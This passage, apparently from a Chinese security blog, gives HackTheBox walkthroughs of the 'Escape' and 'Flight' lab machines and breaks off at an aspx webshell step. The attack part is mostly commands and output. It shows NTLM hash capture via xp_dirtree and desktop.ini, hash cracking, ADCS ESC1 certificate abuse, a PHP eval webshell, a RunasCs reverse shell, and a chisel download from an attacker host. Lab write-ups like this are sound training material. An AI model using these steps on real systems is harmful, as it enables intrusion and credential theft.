while 1:
exit = 1
for _ in dic:
json = {"username": {"$eq": "angoose"}, "password": {"$regex": "^%s" % (password + _)} }
print(json)
res = req.post(url, json = json, allow_redirects = False)
if res.headers["Location"] == "/stock":
password = password + _
print(password)
exit = 0
break
if exit == 1:
exit()
1
b3e795719e2a644f69838a593dd159ac

rockyou.txt没跑出来


域渗透水平还是一如既往的差

HackTheBox_Escape

信息收集

端口扫描

1
nmap -p 1-10000 -sV -T5 -v 10.10.11.202
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
Nmap scan report for 10.10.11.202
Host is up (0.24s latency).
Not shown: 9986 filtered ports
PORT STATE SERVICE VERSION
53/tcp open domain?
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-03-08 22:14:40Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
1433/tcp open ms-sql-s Microsoft SQL Server
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port53-TCP:V=7.80%I=7%D=3/8%Time=64089A0A%P=x86_64-pc-linux-gnu%r(DNSVe
SF:rsionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\x
SF:04bind\0\0\x10\0\x03");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port1433-TCP:V=7.80%I=7%D=3/8%Time=64089A0B%P=x86_64-pc-linux-gnu%r(ms-
SF:sql-s,25,"\x04\x01\0%\0\0\x01\0\0\0\x15\0\x06\x01\0\x1b\0\x01\x02\0\x1c
SF:\0\x01\x03\0\x1d\0\0\xff\x0f\0\x07\xd0\0\0\0\0");
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

漏洞利用

枚举SMB分享路径

1
smbmap -H 10.10.11.202 -u test
1
2
3
4
5
6
7
8
9
[+] Guest session   	IP: 10.10.11.202:445	Name: 10.10.11.202                                      
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC
NETLOGON NO ACCESS Logon server share
Public READ ONLY
SYSVOL NO ACCESS Logon server share

匿名登入路径/Public

1
2
smbclient //10.10.11.202/Public
ls
1
2
3
4
5
.                                   D        0  Sat Nov 19 06:51:25 2022
.. D 0 Sat Nov 19 06:51:25 2022
SQL Server Procedures.pdf A 49551 Fri Nov 18 08:39:43 2022

5184255 blocks of size 4096. 1468811 blocks available

下载文件

1
2
get "SQL Server Procedures.pdf"
exit

得到MSSQL登入凭证

1
PublicUser:GuestUserCantWrite1

登入MSSQL服务并启用responder

1
2
python mssqlclient.py PublicUser:GuestUserCantWrite1@10.10.11.202
responder -I tun0 -A

访问responder

1
exec master.dbo.xp_dirtree '\\10.10.*.*\BFL'

获得NTLMv2如下

1
SQL_SVC::sequel:8ac23c4c29037047:e9eda6f3888b9877036279efea3cb3c0:01010000000000000090858da351d901e3f5635e3fb70b460000000002000800510059004200330001001e00570049004e002d00550053004d0032005a0036003600370048005300300004003400570049004e002d00550053004d0032005a003600360037004800530030002e0051005900420033002e004c004f00430041004c000300140051005900420033002e004c004f00430041004c000500140051005900420033002e004c004f00430041004c00070008000090858da351d90106000400020000000800300030000000000000000000000000300000f4ab4ae3d13aea1739c364c66324ca7ba193602fb63935e338e10f1745d4aa2a0a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310036002e0032000000000000000000

hashcat爆破

1
2
echo 'SQL_SVC::sequel:8ac23c4c29037047:e9eda6f3888b9877036279efea3cb3c0:01010000000000000090858da351d901e3f5635e3fb70b460000000002000800510059004200330001001e00570049004e002d00550053004d0032005a0036003600370048005300300004003400570049004e002d00550053004d0032005a003600360037004800530030002e0051005900420033002e004c004f00430041004c000300140051005900420033002e004c004f00430041004c000500140051005900420033002e004c004f00430041004c00070008000090858da351d90106000400020000000800300030000000000000000000000000300000f4ab4ae3d13aea1739c364c66324ca7ba193602fb63935e338e10f1745d4aa2a0a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310036002e0032000000000000000000' > hash
hashcat -m 5600 hash /usr/share/wordlists/rockyou.txt

明文如下

1
REGGIE1234ronnie

以sql_svc用户登入winrm服务

1
evil-winrm -i 10.10.11.202 -u sql_svc -p REGGIE1234ronnie

启用smb服务

1
python smbserver.py BFL /tmp/ -smb2support

回传文件

1
copy-item -path c:\sqlserver\logs\errorlog.bak -destination '\\10.10.*.*\BFL\'

根据日志文件中的信息添加两个域名解析

1
2
echo -e "10.10.11.202\tdc.sequel.htb" >> /etc/hosts
echo -e "10.10.11.202\tsequel.htb" >> /etc/hosts

日志文件中存在两条登录信息如下

1
2
3
4
2022-11-18 13:43:07.44 Logon       Error: 18456, Severity: 14, State: 8.
2022-11-18 13:43:07.44 Logon Logon failed for user 'sequel.htb\Ryan.Cooper'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]
2022-11-18 13:43:07.48 Logon Error: 18456, Severity: 14, State: 8.
2022-11-18 13:43:07.48 Logon Logon failed for user 'NuclearMosquito3'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]

查看用户信息

1
python lookupsid.py sql_svc:REGGIE1234ronnie@10.10.11.202
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
[*] Domain SID is: S-1-5-21-4078382237-1492182817-2568127209
498: sequel\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: sequel\Administrator (SidTypeUser)
501: sequel\Guest (SidTypeUser)
502: sequel\krbtgt (SidTypeUser)
512: sequel\Domain Admins (SidTypeGroup)
513: sequel\Domain Users (SidTypeGroup)
514: sequel\Domain Guests (SidTypeGroup)
515: sequel\Domain Computers (SidTypeGroup)
516: sequel\Domain Controllers (SidTypeGroup)
517: sequel\Cert Publishers (SidTypeAlias)
518: sequel\Schema Admins (SidTypeGroup)
519: sequel\Enterprise Admins (SidTypeGroup)
520: sequel\Group Policy Creator Owners (SidTypeGroup)
521: sequel\Read-only Domain Controllers (SidTypeGroup)
522: sequel\Cloneable Domain Controllers (SidTypeGroup)
525: sequel\Protected Users (SidTypeGroup)
526: sequel\Key Admins (SidTypeGroup)
527: sequel\Enterprise Key Admins (SidTypeGroup)
553: sequel\RAS and IAS Servers (SidTypeAlias)
571: sequel\Allowed RODC Password Replication Group (SidTypeAlias)
572: sequel\Denied RODC Password Replication Group (SidTypeAlias)
1000: sequel\DC$ (SidTypeUser)
1101: sequel\DnsAdmins (SidTypeAlias)
1102: sequel\DnsUpdateProxy (SidTypeGroup)
1103: sequel\Tom.Henn (SidTypeUser)
1104: sequel\Brandon.Brown (SidTypeUser)
1105: sequel\Ryan.Cooper (SidTypeUser)
1106: sequel\sql_svc (SidTypeUser)
1107: sequel\James.Roberts (SidTypeUser)
1108: sequel\Nicole.Thompson (SidTypeUser)
1109: sequel\SQLServer2005SQLBrowserUser$DC (SidTypeAlias)

用户名NuclearMosquito3并不存在

尝试将NuclearMosquito3作为ryan.cooper用户的密码登入winrm服务

1
evil-winrm -i 10.10.11.202 -u Ryan.Cooper -p NuclearMosquito3

登入成功,查看user.txt

1
type c:\users\ryan.cooper\desktop\user.txt
1
0cbcb92fcd258be421cbdfbadaebd0bf

权限提升

This is a quick lab to familiarize with ECS1 privilege escalation technique, that illustrates how it’s possible to elevate from a regular user to domain administrator in a Windows Domain by abusing over-permissioned Active Directory Certificate Services (ADCS) certificate templates.
https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-misconfigured-certificate-template-to-domain-admin

1
pip install certipy-ad

该程序v4.3.0版本在python3.11环境无法正常运行

查询是否存在错误配置的证书模板

1
certipy find -vulnerable -stdout -u ryan.cooper@sequel.htb -p NuclearMosquito3 -dc-ip 10.10.11.202
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
[*] Enumeration output:
Certificate Authorities
0
CA Name : sequel-DC-CA
DNS Name : dc.sequel.htb
Certificate Subject : CN=sequel-DC-CA, DC=sequel, DC=htb
Certificate Serial Number : 1EF2FA9A7E6EADAD4F5382F4CE283101
Certificate Validity Start : 2022-11-18 20:58:46+00:00
Certificate Validity End : 2121-11-18 21:08:46+00:00
Web Enrollment : Disabled
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Permissions
Owner : SEQUEL.HTB\Administrators
Access Rights
ManageCertificates : SEQUEL.HTB\Administrators
SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
ManageCa : SEQUEL.HTB\Administrators
SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
Enroll : SEQUEL.HTB\Authenticated Users
Certificate Templates
0
Template Name : UserAuthentication
Display Name : UserAuthentication
Certificate Authorities : sequel-DC-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Enrollment Flag : PublishToDs
IncludeSymmetricAlgorithms
Private Key Flag : 16777216
65536
ExportableKey
Extended Key Usage : Client Authentication
Secure Email
Encrypting File System
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 10 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Permissions
Enrollment Permissions
Enrollment Rights : SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Domain Users
SEQUEL.HTB\Enterprise Admins
Object Control Permissions
Owner : SEQUEL.HTB\Administrator
Write Owner Principals : SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
SEQUEL.HTB\Administrator
Write Dacl Principals : SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
SEQUEL.HTB\Administrator
Write Property Principals : SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
SEQUEL.HTB\Administrator
[!] Vulnerabilities
ESC1 : 'SEQUEL.HTB\\Domain Users' can enroll, enrollee supplies subject and template allows client authentication

模板名为UserAuthentication, CA为sequel-DC-CA

错误配置证书模板的配置条件为以下三点,分别对应任意证书申请对象,证书可用于AD,证书申请者为经验证的域用户

  • msPKI-Certificates-Name-Flag: ENROLLEE_SUPPLIES_SUBJECT
  • PkiExtendedKeyUsage: Client Authentication
  • Enrollment Rights: Authenticated Users

域用户ryan.cooper为域管理员administrator申请证书

1
certipy req -u ryan.cooper@sequel.htb -p NuclearMosquito3 -target dc.sequel.htb -template UserAuthentication -ca sequel-DC-CA -upn administrator@sequel.htb

证书名如下

1
administrator.pfx

同步时间

使用证书通过Kerberos生成TGT并还原为NT Hash

1
ntpdate -u 10.10.11.202 && certipy auth -pfx administrator.pfx -dc-ip 10.10.11.202

得到Hash

1
aad3b435b51404eeaad3b435b51404ee:a52f78e4c751e5f5e17e1e9f3e58f4ee

Hash传递登入winrm

1
evil-winrm -i 10.10.11.202 -u administrator -H a52f78e4c751e5f5e17e1e9f3e58f4ee

查看root.txt

1
type c:\users\administrator\desktop\root.txt
1
a54e5111794f55e2445b72fdcc3291d6

openvpn与Kerberos的竞争

靶机的CST比现实的快了8个小时,所以自然就有了以下错误

1
Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)

原以为一条命令就能解决的事情

ntpdate -u 10.10.11.202

毕竟之前(一年半以前)也碰到过类似的情况

然而命令并没有生效

确切来讲是生效几秒后就会自动调回去

结合另外一个正在运行openvpn的窗口总是在我运行时间同步命令的时候重连vpn

1
[htb] Inactivity timeout (--ping-restart), restarting

所以这就是问题所在,大概是opevpn也要做时间同步

但是所幸openvpn的时间同步有一段间隔时间

多试几次卡在间隔时间跑完命令就行

估计是openvpn的更新加了这个功能,下次遇到再看看怎么调参数忽略openvpn的时间同步吧


Nice one.

HackTheBox_Flight

信息收集

端口扫描

1
nmap -p 1-10000 -sV -T5 -v 10.10.11.187
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Nmap scan report for 10.10.11.187
Host is up (0.13s latency).
Not shown: 9986 filtered ports
PORT STATE SERVICE VERSION
53/tcp open domain?
80/tcp open http Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-03-09 17:59:10Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=3/9%Time=6409BDB7%P=x86_64-pc-linux-gnu%r(DNSVe
SF:rsionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\x
SF:04bind\0\0\x10\0\x03");
Service Info: Host: G0; OS: Windows; CPE: cpe:/o:microsoft:windows

路径枚举

未枚举出路径

VHOST

1
curl http://10.10.11.187/ | grep htb
1
<p class="lf">Copyright 2022 <a href="#">flight.htb</a> - All Rights Reserved</p>

得到域名flight.htb

添加域名解析

1
echo -e "10.10.11.187\tflight.htb" >> /etc/hosts

枚举VHOST

1
wfuzz -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://flight.htb" -H "Host: FUZZ.flight.htb" --hl 154
1
000000624:   200        90 L     412 W      3996 Ch     "school"

得到域名school.flight.htb

添加域名解析

1
echo -e "10.10.11.187\tschool.flight.htb" >> /etc/hosts

漏洞利用

LFI?

1
curl http://school.flight.htb/index.php?view=index.php

HTML源码中得到index.php代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

ini_set('display_errors', 0);
error_reporting(E_ERROR | E_WARNING | E_PARSE);

if(isset($_GET['view'])){
$file=$_GET['view'];
if ((strpos(urldecode($_GET['view']),'..')!==false)||
(strpos(urldecode(strtolower($_GET['view'])),'filter')!==false)||
(strpos(urldecode($_GET['view']),'\\')!==false)||
(strpos(urldecode($_GET['view']),'htaccess')!==false)||
(strpos(urldecode($_GET['view']),'.shtml')!==false)
){
echo "<h1>Suspicious Activity Blocked!";
echo "<h3>Incident will be reported</h3>\r\n";
}else{
echo file_get_contents($_GET['view']);
}
}else{
echo file_get_contents("C:\\xampp\\htdocs\\school.flight.htb\\home.html");
}

?>

SSRF发起SMB请求

1
curl http://school.flight.htb/index.php?view=//10.10.16.12/BFL

得到NTLMv2如下

1
svc_apache::flight:d5bf8d2c6c495f7b:056EEC55DECB7A98AE95A4035C337D4A:010100000000000080156333C353D90175771A5F2C2A58F90000000002000800560050004D00430001001E00570049004E002D003300590036004E00470042005800320052005200370004003400570049004E002D003300590036004E0047004200580032005200520037002E00560050004D0043002E004C004F00430041004C0003001400560050004D0043002E004C004F00430041004C0005001400560050004D0043002E004C004F00430041004C000700080080156333C353D90106000400020000000800300030000000000000000000000000300000BD05FB1B064E54E1A7E420729E19420E898B09DD065D0296F8674AE7D0FEB3500A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310036002E00310032000000000000000000

hashcat爆破

1
hashcat -m 5600 hash /usr/share/wordlists/rockyou.txt

得到密码如下

1
S@Ss!K@*t13

枚举SMB用户名

1
crackmapexec smb 10.10.11.187 -d flight -u svc_apache -p 'S@Ss!K@*t13' --users
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
SMB         10.10.11.187    445    G0               [*] Windows 10.0 Build 17763 x64 (name:G0) (domain:flight) (signing:True) (SMBv1:False)
SMB 10.10.11.187 445 G0 [+] flight\svc_apache:S@Ss!K@*t13
SMB 10.10.11.187 445 G0 [+] Enumerated domain user(s)
SMB 10.10.11.187 445 G0 flight.htb\O.Possum badpwdcount: 2 desc: H
SMB 10.10.11.187 445 G0 flight.htb\svc_apache badpwdcount: 0 desc: S
SMB 10.10.11.187 445 G0 flight.htb\V.Stevens badpwdcount: 1 desc: S
SMB 10.10.11.187 445 G0 flight.htb\D.Truff badpwdcount: 1 desc: P
SMB 10.10.11.187 445 G0 flight.htb\I.Francis badpwdcount: 1 desc: N
SMB 10.10.11.187 445 G0 flight.htb\W.Walker badpwdcount: 1 desc: P
SMB 10.10.11.187 445 G0 flight.htb\C.Bum badpwdcount: 0 desc: S
SMB 10.10.11.187 445 G0 flight.htb\M.Gold badpwdcount: 1 desc: S
SMB 10.10.11.187 445 G0 flight.htb\L.Kein badpwdcount: 1 desc: P
SMB 10.10.11.187 445 G0 flight.htb\G.Lors badpwdcount: 1 desc: S
SMB 10.10.11.187 445 G0 flight.htb\R.Cold badpwdcount: 1 desc: H
SMB 10.10.11.187 445 G0 flight.htb\S.Moon badpwdcount: 0 desc: J
SMB 10.10.11.187 445 G0 flight.htb\krbtgt badpwdcount: 0 desc: K
SMB 10.10.11.187 445 G0 flight.htb\Guest badpwdcount: 0 desc: B
SMB 10.10.11.187 445 G0 flight.htb\Administrator badpwdcount: 0 desc: B

用户名列表如下

1
cat users
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
O.Possum
svc_apache
V.Stevens
D.Truff
I.Francis
W.Walker
C.Bum
M.Gold
L.Kein
G.Lors
R.Cold
S.Moon
krbtgt
Guest
Administrator

测试同密码

1
crackmapexec smb 10.10.11.187 -d flight -u ./users -p 'S@Ss!K@*t13' --continue-on-success
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
SMB         10.10.11.187    445    G0               [*] Windows 10.0 Build 17763 x64 (name:G0) (domain:flight) (signing:True) (SMBv1:False)
SMB 10.10.11.187 445 G0 [-] flight\O.Possum:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.10.11.187 445 G0 [+] flight\svc_apache:S@Ss!K@*t13
SMB 10.10.11.187 445 G0 [-] flight\V.Stevens:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.10.11.187 445 G0 [-] flight\D.Truff:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.10.11.187 445 G0 [-] flight\I.Francis:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.10.11.187 445 G0 [-] flight\W.Walker:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.10.11.187 445 G0 [-] flight\C.Bum:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.10.11.187 445 G0 [-] flight\M.Gold:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.10.11.187 445 G0 [-] flight\L.Kein:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.10.11.187 445 G0 [-] flight\G.Lors:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.10.11.187 445 G0 [-] flight\R.Cold:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.10.11.187 445 G0 [+] flight\S.Moon:S@Ss!K@*t13
SMB 10.10.11.187 445 G0 [-] flight\krbtgt:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.10.11.187 445 G0 [-] flight\Guest:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.10.11.187 445 G0 [-] flight\Administrator:S@Ss!K@*t13 STATUS_LOGON_FAILURE

密码命中用户S.Moon

查看SMB路径权限

1
smbmap -H 10.10.11.187 -u S.Moon -p 'S@Ss!K@*t13'
1
2
3
4
5
6
7
8
9
10
11
[+] IP: 10.10.11.187:445	Name: 10.10.11.187
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC
NETLOGON READ ONLY Logon server share
Shared READ, WRITE
SYSVOL READ ONLY Logon server share
Users READ ONLY
Web READ ONLY

错误方法

嗨呀,smb分享路径写权限一眼psexec GetShell

1
python psexec.py flight.htb/S.Moon:'S@Ss!K@*t13'@10.10.11.187
1
2
3
4
5
6
7
8
[*] Requesting shares on 10.10.11.187.....
[-] share 'ADMIN$' is not writable.
[-] share 'C$' is not writable.
[-] share 'NETLOGON' is not writable.
[*] Found writable share Shared
[*] Uploading file gpbkeZsf.exe
[-] Error uploading file gpbkeZsf.exe, aborting.....
[-] Error performing the installation, cleaning up: SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an object but has not been granted those access rights.)

What the hell?

正确方法

监听

1
responder -I tun0 -A

利用写权限上传desktop.ini用于触发SMB请求

1
cat desktop.ini
1
2
[.ShellClassInfo]
IconResource=\\10.10.*.*\BFL

上传desktop.ini

1
2
smbclient //10.10.11.187/shared -U S.Moon --password='S@Ss!K@*t13'
put desktop.ini

得到NTLMv2如下

1
c.bum::flight.htb:e432c50eb3a75399:595CE71063742D2A3FCC6348F3B5782E:010100000000000000909C42D053D90114DEF6163CCF2D770000000002000800510051004E00460001001E00570049004E002D003800430051004900460035005800510038004C004B0004003400570049004E002D003800430051004900460035005800510038004C004B002E00510051004E0046002E004C004F00430041004C0003001400510051004E0046002E004C004F00430041004C0005001400510051004E0046002E004C004F00430041004C000700080000909C42D053D90106000400020000000800300030000000000000000000000000300000BD05FB1B064E54E1A7E420729E19420E898B09DD065D0296F8674AE7D0FEB3500A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310036002E00310032000000000000000000

hashcat爆破

1
hashcat -m 5600 hash /usr/share/wordlists/rockyou.txt

得到明文如下

1
Tikkycoll_431012284

查看SMB路径权限

1
smbmap -H 10.10.11.187 -u c.bum -p Tikkycoll_431012284
1
2
3
4
5
6
7
8
9
10
11
[+] IP: 10.10.11.187:445	Name: 10.10.11.187
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC
NETLOGON READ ONLY Logon server share
Shared READ, WRITE
SYSVOL READ ONLY Logon server share
Users READ ONLY
Web READ, WRITE

嗨呀,psexec

与之前一样的原因,写入Shared无法反弹Shell
本来想试着写入Web的,结果psexec是按顺序尝试写入分享路径,在分享路径Shared尝试失败后就推出了
整了半天不知道怎么指定分享路径Web,只能写Webshell了

Weevely的create_function()不被php8所支持导致Webshell不可用
apt-get升级跟github下载项目都不行
大概看了一眼issue
作者说create_function是在内存中运行的,其他的函数都没有这个效果
然后好像就摆烂了?
没办法,上蚁剑吧

1
2
3
4
echo '<?php @eval($_POST["BFL"]);?>' > BFL.php
smbclient //10.10.11.187/web -U c.bum --password=Tikkycoll_431012284
cd school.flight.htb
put BFL.php

监听

1
nc -lvnp 9998

https://github.com/antonioCoco/RunasCs/

使用蚁剑上传runascs后运行

1
runascs.exe c.bum Tikkycoll_431012284 powershell -r 10.10.*.*:9998

查看user.txt

1
type /users/c.bum/desktop/user.txt
1
970e7b5b8f6e538ede217e98f6e33832

权限提升

收集系统信息

1
systeminfo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
Host Name:                 G0
OS Name: Microsoft Windows Server 2019 Standard
OS Version: 10.0.17763 N/A Build 17763
OS Manufacturer: Microsoft Corporation
OS Configuration: Primary Domain Controller
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 00429-00521-62775-AA402
Original Install Date: 7/20/2021, 11:21:49 AM
System Boot Time: 3/10/2023, 7:46:45 AM
System Manufacturer: VMware, Inc.
System Model: VMware7,1
System Type: x64-based PC
Processor(s): 2 Processor(s) Installed.
[01]: AMD64 Family 23 Model 49 Stepping 0 AuthenticAMD ~2994 Mhz
[02]: AMD64 Family 23 Model 49 Stepping 0 AuthenticAMD ~2994 Mhz
BIOS Version: VMware, Inc. VMW71.00V.16707776.B64.2008070230, 8/7/2020
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume3
System Locale: en-us;English (United States)
Input Locale: it;Italian (Italy)
Time Zone: (UTC-08:00) Pacific Time (US & Canada)
Total Physical Memory: 4,095 MB
Available Physical Memory: 2,046 MB
Virtual Memory: Max Size: 5,503 MB
Virtual Memory: Available: 3,361 MB
Virtual Memory: In Use: 2,142 MB
Page File Location(s): C:\pagefile.sys
Domain: flight.htb
Logon Server: N/A
Hotfix(s): N/A
Network Card(s): 1 NIC(s) Installed.
[01]: vmxnet3 Ethernet Adapter
Connection Name: Ethernet0 2
DHCP Enabled: No
IP address(es)
[01]: 10.10.11.187
[02]: fe80::c88d:96af:ef3d:fb9f
[03]: dead:beef::c88d:96af:ef3d:fb9f
[04]: dead:beef::250
Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed.

查看TCP监听端口

1
netstat -ant | findstr TCP | findstr 0.0.0.0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
TCP    0.0.0.0:80             0.0.0.0:0              LISTENING       InHost      
TCP 0.0.0.0:88 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:389 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:443 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:464 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:593 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:636 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:3268 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:3269 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:5985 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:8000 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:9389 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:47001 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:49664 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:49665 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:49666 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:49667 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:49673 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:49674 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:49690 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:49693 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:49702 0.0.0.0:0 LISTENING InHost
TCP 10.10.11.187:53 0.0.0.0:0 LISTENING InHost
TCP 10.10.11.187:139 0.0.0.0:0 LISTENING InHost
TCP 127.0.0.1:53 0.0.0.0:0 LISTENING InHost

与nmap扫描结果对比好像多了个8000?

本机上测试

1
curl -I -v http://10.10.11.187:8000/

没有响应

靶机上测试

1
2
curl http://0.0.0.0:8000/
curl : Unable to connect to the remote server
1
2
curl http://127.0.0.1:8000/
curl : <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

估计是要做个端口转发了

用LCX搭端口转发死活搭不上,麻了

https://github.com/jpillora/chisel

本机运行服务端,开启HTTP服务

1
2
./chisel_1.8.1_linux_amd64 server -p 8888 --reverse &
python -m http.server 80

下载并运行客户端

1
2
Invoke-WebRequest -Uri "http://10.10.*.*/chisel_1.8.1_windows_amd64" -OutFile "./chisel.exe"
./chisel.exe client 10.10.*.*:8888 R:8000:127.0.0.1:8000

将客户端的127.0.0.1:8000转发至服务端0.0.0.0:8000

访问http://0.0.0.0:8000/

1
Physical Path	   C:\inetpub\development

IIS服务,得到路径

1
dir c:\inetpub\development
1
2
3
4
5
6
    Directory: C:\inetpub\development


Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 3/11/2023 12:52 PM development
1
dir C:\inetpub\development\development
1
2
3
4
5
6
7
8
9
10
11
    Directory: C:\inetpub\development\development


Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 3/11/2023 12:52 PM css
d----- 3/11/2023 12:52 PM fonts
d----- 3/11/2023 12:52 PM img
d----- 3/11/2023 12:52 PM js
-a---- 4/16/2018 2:23 PM 9371 contact.html
-a---- 4/16/2018 2:23 PM 45949 index.html

尝试了以下,对路径有写权限

写入aspx WebShell

1
